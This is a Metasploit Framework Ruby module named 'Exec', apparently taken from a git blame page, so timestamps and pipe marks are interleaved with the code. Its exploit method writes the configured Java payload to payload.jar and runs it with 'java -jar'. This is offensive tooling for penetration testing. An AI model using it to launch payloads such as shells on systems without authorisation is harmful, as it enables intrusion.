2010-08-20 06:57:57 +00:00
|
|
|
##
|
2010-08-24 18:22:34 +00:00
|
|
|
# $Id$
|
2010-08-20 06:57:57 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Java
|
|
|
|
|
|
|
|
def initialize( info = {} )
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Exec',
|
|
|
|
'Description' => %q{ },
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'egypt' ],
|
2010-08-24 18:22:34 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-08-20 06:57:57 +00:00
|
|
|
'References' => [ ],
|
|
|
|
'Platform' => [ 'java' ],
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Generic (Java Payload)', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# Equivalent to payload.encoded
|
|
|
|
@jar_data = payload.encoded_jar.pack
|
|
|
|
|
|
|
|
File.open("payload.jar", "wb") do |fd|
|
|
|
|
fd.write(@jar_data)
|
|
|
|
end
|
|
|
|
|
|
|
|
Thread.new { system("java -jar payload.jar") }
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|